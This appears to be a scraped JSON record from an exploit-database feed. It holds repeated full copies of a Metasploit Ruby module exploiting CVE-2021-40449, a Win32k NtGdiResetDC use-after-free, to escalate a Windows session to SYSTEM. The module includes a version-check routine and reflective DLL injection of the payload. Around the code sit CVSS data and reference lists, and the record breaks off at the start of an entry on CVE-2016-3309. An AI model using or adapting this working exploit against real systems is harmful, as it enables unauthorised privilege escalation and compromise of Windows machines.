(build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511\n return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507\n return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2\n return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012\n return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2\n return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2\n return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!')\n else\n return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')\n end\n end\n\n def exploit\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n\n if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\n fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\n elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\n end\n\n encoded_payload = payload.encoded\n execute_dll(\n ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),\n [encoded_payload.length].pack('I<') + encoded_payload\n )\n\n print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n end\nend\n", "category": "", "verified": false}, "lastseen": "2021-11-10T23:57:08", "differentElements": ["cvss2", "cvss3"], "edition": 1}, {"bulletin": {"id": "1337DAY-ID-37026", "vendorId": null, "hash": "33ba9a5d967321f28a23a106691cc165", "type": "zdt", "bulletinFamily": "exploit", "title": "Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation Exploit", "description": "A use after free vulnerability exists in the NtGdiResetDC() function of Win32k which can be leveraged by an attacker to escalate privileges to those of NT AUTHORITY\\SYSTEM. The flaw exists due to the fact that this function calls hdcOpenDCW(), which performs a user mode callback. During this callback, attackers can call the NtGdiResetDC() function again with the same handle as before, which will result in the PDC object that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle with their own object, before passing execution back to the original NtGdiResetDC() call, which will now use the attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\\SYSTEM. This Metasploit module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions of Windows 10 will likely also work.", "published": "2021-11-10T00:00:00", "modified": "2021-11-10T00:00:00", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "LOCAL", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.6, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:L/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 3.9, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "MEDIUM", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, "href": "https://0day.today/exploit/description/37026", "reporter": "zdt", "references": [], "cvelist": ["CVE-2021-40449"], "immutableFields": [], "lastseen": "2021-11-26T18:08:21", "history": [], "viewCount": 98, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006674.NASL", "SMB_NT_MS21_OCT_5006728.NASL"]}, {"type": "kaspersky", "idList": ["KLA12309", "KLA12310"]}], "modified": "2021-11-26T18:08:21", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-11-26T18:08:21", "rev": 2}}, "objectVersion": "1.6", "sourceHref": "https://0day.today/exploit/37026", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = GoodRanking\n\n include Msf::Post::File\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Process\n include Msf::Post::Windows::ReflectiveDLLInjection\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n {\n 'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation',\n 'Description' => %q{\n A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by\n an attacker to escalate privileges to those of `NT AUTHORITY\\SYSTEM`. The flaw exists due to the fact\n that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers\n can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object\n that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle\n with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the\n attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the\n kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\\SYSTEM.\n\n This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions\n of Windows 10 will likely also work.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'IronHusky', # APT Group who exploited this in the wild\n 'Costin Raiu', # Initial reporting on bug at SecureList\n 'Boris Larin', # Initial reporting on bug at SecureList\n \"Red Raindrop Team of Qi'anxin Threat Intelligence Center\", # detailed analysis report in Chinese showing how to replicate the vulnerability\n 'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763\n 'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.\n 'Grant Willcox' # metasploit module\n ],\n 'Arch' => [ ARCH_X64 ],\n 'Platform' => 'win',\n 'SessionTypes' => [ 'meterpreter' ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread'\n },\n 'Targets' => [\n [ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]\n ],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'References' => [\n [ 'CVE', '2021-40449' ],\n [ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation\n [ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup\n [ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC\n [ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.\n ],\n 'DisclosureDate' => '2021-10-12',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [ CRASH_OS_RESTARTS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ],\n 'SideEffects' => []\n }\n }\n )\n )\n end\n\n def check\n sysinfo_value = sysinfo['OS']\n\n if sysinfo_value !~ /windows/i\n # Non-Windows systems are definitely not affected.\n return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')\n end\n\n build_num_raw = cmd_exec('cmd.exe /c ver')\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n if build_num.nil?\n print_error(\"Couldn't retrieve the target's build number!\")\n else\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0]\n print_status(\"Target's build number: #{build_num}\")\n end\n\n # see https://docs.microsoft.com/en-us/windows/release-information/\n unless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1809|1903)/\n return CheckCode::Safe('Target is not running a vulnerable version of Windows!')\n end\n\n build_num_gemversion = Rex::Version.new(build_num)\n\n # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/\n if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11\n return CheckCode::Appears('Vulnerable Windows 11 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022\n return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2\n return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1\n return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2\n return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1\n return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909\n return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903\n return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809\n return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803\n return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709\n return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703\n return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607\n return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511\n return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507\n return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2\n return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012\n return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2\n return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2\n return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!')\n else\n return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')\n end\n end\n\n def exploit\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n\n if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\n fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\n elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\n end\n\n encoded_payload = payload.encoded\n execute_dll(\n ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),\n [encoded_payload.length].pack('I<') + encoded_payload\n )\n\n print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n end\nend\n", "category": "", "verified": false}, "lastseen": "2021-11-26T18:08:21", "differentElements": ["category", "reporter", "verified"], "edition": 2}], "viewCount": 103, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2021-40449"]}, {"type": "githubexploit", "idList": ["94F9D54F-CE33-561C-A65A-3C28F00AF2AD", "059CF457-59E4-5647-A0BC-0014C543D6D3", "B45F7278-2C20-5C06-B834-59D960047852", "67AC7DCE-FB2F-5A78-AB0A-F4A37D19901F"]}, {"type": "attackerkb", "idList": ["AKB:248E5B51-C3A0-4459-AF44-2E0C5544549E"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2021-0739"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:164926"]}, {"type": "hivepro", "idList": ["HIVEPRO:19810CA69EE792A741AC657E50CAAAEE"]}, {"type": "mscve", "idList": ["MS:CVE-2021-40449"]}, {"type": "threatpost", "idList": ["THREATPOST:500777B41EEA368E3AC2A6AED65C4A25", "THREATPOST:8836AC81C1F2D9654424EC1584E50A16"]}, {"type": "securelist", "idList": ["SECURELIST:EDEDB5540F9CBEF736A91ECDD708D038", "SECURELIST:1F59148E6615695438F94EF4956585AA"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:7805FE8CEF45482B462D2B4F7A9F7F75", "RAPID7BLOG:73EAE8A2825E9B6764F314122B4E5F25"]}, {"type": "cisa", "idList": ["CISA:D12090E3D1C36426271DE8458FFF31E4"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:B448D31E6691905EFC547FAA3B80C971"]}, {"type": "krebs", "idList": ["KREBS:99411879A64BD5F899F5CD4CD59A9A1C"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:2BC91C96B1F3F528B6AC9D1724739ED2"]}, {"type": "avleonov", "idList": ["AVLEONOV:99215B2D7808C46D8762AD712CD3D267"]}, {"type": "thn", "idList": ["THN:57C3D6DDFA31EA2EA2B6BF2A747A612C"]}, {"type": "nessus", "idList": ["SMB_NT_MS21_OCT_5006670.NASL", "SMB_NT_MS21_OCT_5006728.NASL", "SMB_NT_MS21_OCT_5006675.NASL", "SMB_NT_MS21_OCT_5006715.NASL", "SMB_NT_MS21_OCT_5006732.NASL", "SMB_NT_MS21_OCT_5006729.NASL", "SMB_NT_MS21_OCT_5006672.NASL", "SMB_NT_MS21_OCT_5006667.NASL", "SMB_NT_MS21_OCT_5006699.NASL", "SMB_NT_MS21_OCT_5006669.NASL", "SMB_NT_MS21_OCT_5006674.NASL"]}, {"type": "kaspersky", "idList": ["KLA12310", "KLA12309"]}], "modified": "2021-12-03T01:38:44", "rev": 2}, "score": {"value": 4.7, "vector": "NONE", "modified": "2021-12-03T01:38:44", "rev": 2}}, "objectVersion": "1.6", "sourceHref": "https://0day.today/exploit/37026", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Local\n Rank = GoodRanking\n\n include Msf::Post::File\n include Msf::Post::Windows::Priv\n include Msf::Post::Windows::Process\n include Msf::Post::Windows::ReflectiveDLLInjection\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n {\n 'Name' => 'Win32k NtGdiResetDC Use After Free Local Privilege Elevation',\n 'Description' => %q{\n A use after free vulnerability exists in the `NtGdiResetDC()` function of Win32k which can be leveraged by\n an attacker to escalate privileges to those of `NT AUTHORITY\\SYSTEM`. The flaw exists due to the fact\n that this function calls `hdcOpenDCW()`, which performs a user mode callback. During this callback, attackers\n can call the `NtGdiResetDC()` function again with the same handle as before, which will result in the PDC object\n that is referenced by this handle being freed. The attacker can then replace the memory referenced by the handle\n with their own object, before passing execution back to the original `NtGdiResetDC()` call, which will now use the\n attacker's object without appropriate validation. This can then allow the attacker to manipulate the state of the\n kernel and, together with additional exploitation techniques, gain code execution as NT AUTHORITY\\SYSTEM.\n\n This module has been tested to work on Windows 10 x64 RS1 (build 14393) and RS5 (build 17763), however previous versions\n of Windows 10 will likely also work.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'IronHusky', # APT Group who exploited this in the wild\n 'Costin Raiu', # Initial reporting on bug at SecureList\n 'Boris Larin', # Initial reporting on bug at SecureList\n \"Red Raindrop Team of Qi'anxin Threat Intelligence Center\", # detailed analysis report in Chinese showing how to replicate the vulnerability\n 'KaLendsi', # First Public POC targeting Windows 10 build 14393 only, later added support for 17763\n 'ly4k', # GitHub POC adding support for Windows 10 build 17763, PoC used for this module.\n 'Grant Willcox' # metasploit module\n ],\n 'Arch' => [ ARCH_X64 ],\n 'Platform' => 'win',\n 'SessionTypes' => [ 'meterpreter' ],\n 'DefaultOptions' => {\n 'EXITFUNC' => 'thread'\n },\n 'Targets' => [\n [ 'Windows 10 x64 RS1 (build 14393) and RS5 (build 17763)', { 'Arch' => ARCH_X64 } ]\n ],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'References' => [\n [ 'CVE', '2021-40449' ],\n [ 'URL', 'https://securelist.com/mysterysnail-attacks-with-windows-zero-day/104509/' ], # Initial report of in the wild exploitation\n [ 'URL', 'https://mp.weixin.qq.com/s/AcFS0Yn9SDuYxFnzbBqhkQ' ], # Detailed writeup\n [ 'URL', 'https://github.com/KaLendsi/CVE-2021-40449-Exploit' ], # First public PoC\n [ 'URL', 'https://github.com/ly4k/CallbackHell' ] # Updated PoC this module uses for exploitation.\n ],\n 'DisclosureDate' => '2021-10-12',\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [ CRASH_OS_RESTARTS, ],\n 'Reliability' => [ REPEATABLE_SESSION, ],\n 'SideEffects' => []\n }\n }\n )\n )\n end\n\n def check\n sysinfo_value = sysinfo['OS']\n\n if sysinfo_value !~ /windows/i\n # Non-Windows systems are definitely not affected.\n return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')\n end\n\n build_num_raw = cmd_exec('cmd.exe /c ver')\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)\n if build_num.nil?\n print_error(\"Couldn't retrieve the target's build number!\")\n else\n build_num = build_num_raw.match(/\\d+\\.\\d+\\.\\d+\\.\\d+/)[0]\n print_status(\"Target's build number: #{build_num}\")\n end\n\n # see https://docs.microsoft.com/en-us/windows/release-information/\n unless sysinfo_value =~ /(7|8|8\\.1|10|2008|2012|2016|2019|1803|1809|1903)/\n return CheckCode::Safe('Target is not running a vulnerable version of Windows!')\n end\n\n build_num_gemversion = Rex::Version.new(build_num)\n\n # Build numbers taken from https://www.qualys.com/research/security-alerts/2021-10-12/microsoft/\n if (build_num_gemversion >= Rex::Version.new('10.0.22000.0')) && (build_num_gemversion < Rex::Version.new('10.0.22000.258')) # Windows 11\n return CheckCode::Appears('Vulnerable Windows 11 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.20348.0')) && (build_num_gemversion < Rex::Version.new('10.0.20348.288')) # Windows Server 2022\n return CheckCode::Appears('Vulnerable Windows Server 2022 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19044.0')) && (build_num_gemversion < Rex::Version.new('10.0.19044.1319')) # Windows 10 21H2\n return CheckCode::Appears('Vulnerable Windows 10 21H2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19043.0')) && (build_num_gemversion < Rex::Version.new('10.0.19043.1288')) # Windows 10 21H1\n return CheckCode::Appears('Vulnerable Windows 10 21H1 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19042.0')) && (build_num_gemversion < Rex::Version.new('10.0.19042.1288')) # Windows 10 20H2\n return CheckCode::Appears('Vulnerable Windows 10 20H2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.19041.0')) && (build_num_gemversion < Rex::Version.new('10.0.19041.1288')) # Windows 10 20H1\n return CheckCode::Appears('Vulnerable Windows 10 20H1 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.18363.0')) && (build_num_gemversion < Rex::Version.new('10.0.18363.1854')) # Windows 10 v1909\n return CheckCode::Appears('Vulnerable Windows 10 v1909 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.18362.0')) && (build_num_gemversion < Rex::Version.new('10.0.18362.9999999')) # Windows 10 v1903\n return CheckCode::Appears('Vulnerable Windows 10 v1903 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17763.0')) && (build_num_gemversion < Rex::Version.new('10.0.17763.2237')) # Windows 10 v1809\n return CheckCode::Appears('Vulnerable Windows 10 v1809 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.17134.0')) && (build_num_gemversion < Rex::Version.new('10.0.17134.999999')) # Windows 10 v1803\n return CheckCode::Appears('Vulnerable Windows 10 v1803 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.16299.0')) && (build_num_gemversion < Rex::Version.new('10.0.16299.999999')) # Windows 10 v1709\n return CheckCode::Appears('Vulnerable Windows 10 v1709 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.15063.0')) && (build_num_gemversion < Rex::Version.new('10.0.15063.999999')) # Windows 10 v1703\n return CheckCode::Appears('Vulnerable Windows 10 v1703 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.14393.0')) && (build_num_gemversion < Rex::Version.new('10.0.14393.4704')) # Windows 10 v1607\n return CheckCode::Appears('Vulnerable Windows 10 v1607 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.10586.0')) && (build_num_gemversion < Rex::Version.new('10.0.10586.9999999')) # Windows 10 v1511\n return CheckCode::Appears('Vulnerable Windows 10 v1511 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('10.0.10240.0')) && (build_num_gemversion < Rex::Version.new('10.0.10240.19086')) # Windows 10 v1507\n return CheckCode::Appears('Vulnerable Windows 10 v1507 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.3.9600.0')) && (build_num_gemversion < Rex::Version.new('6.3.9600.20144')) # Windows 8.1/Windows Server 2012 R2\n return CheckCode::Appears('Vulnerable Windows 8.1/Windows Server 2012 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.2.9200.0')) && (build_num_gemversion < Rex::Version.new('6.2.9200.23489')) # Windows 8/Windows Server 2012\n return CheckCode::Appears('Vulnerable Windows 8/Windows Server 2012 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.1.7601.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.25740')) # Windows 7/Windows Server 2008 R2\n return CheckCode::Appears('Vulnerable Windows 7/Windows Server 2008 R2 build detected!')\n elsif (build_num_gemversion >= Rex::Version.new('6.0.6003.0')) && (build_num_gemversion < Rex::Version.new('6.0.6003.21251')) # Windows Server 2008/Windows Server 2008 SP2\n return CheckCode::Appears('Vulnerable Windows Server 2008/Windows Server 2008 SP2 build detected!')\n else\n return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')\n end\n end\n\n def exploit\n if is_system?\n fail_with(Failure::None, 'Session is already elevated')\n end\n\n if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86\n fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')\n elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86\n fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')\n elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')\n end\n\n encoded_payload = payload.encoded\n execute_dll(\n ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40449', 'CVE-2021-40449.x64.dll'),\n [encoded_payload.length].pack('I<') + encoded_payload\n )\n\n print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')\n end\nend\n", "category": "local exploits", "verified": true, "_object_type": "robots.models.zdt.ZDTBulletin", "_object_types": ["robots.models.base.Bulletin", "robots.models.zdt.ZDTBulletin"]}, {"id": "1337DAY-ID-28749", "hash": "9245329b276b52a6e5259078b211d5a1", "type": "zdt", "bulletinFamily": "exploit", "title": "Microsoft Windows 10 x64 RS2 - win32kfull!bFill Pool Overflow Exploit", "description": "Exploit for windows platform in category local exploits", "published": "2017-10-06T00:00:00", "modified": "2017-10-06T00:00:00", "cvss": {"vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/", "score": 7.2}, "cvss2": {}, "cvss3": {}, "href": "https://0day.today/exploit/description/28749", "reporter": "siberas", "references": [], "cvelist": ["CVE-2016-3309"], "immutableFields": [], "lastseen": "2018-01-04T15:04:15", "history": [], "viewCount": 8, "enchantments": {"score": {"value": 8.4, "vector": "NONE", "modified": "2018-01-04T15:04:15", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-3309"]}, {"type": "symantec", "idList": ["SMNTC-92297"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2016-0683"]}, {"type": "exploitdb", "idList": ["EDB-ID:42960"]}, {"type": "zdi", "idList": ["ZDI-16-449"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:4A77EECB9028940AD78AE18FF52B3DC8"]}, {"type": "mscve", "idList": ["MS:CVE-2016-3309"]}, {"type": "githubexploit", "idList": 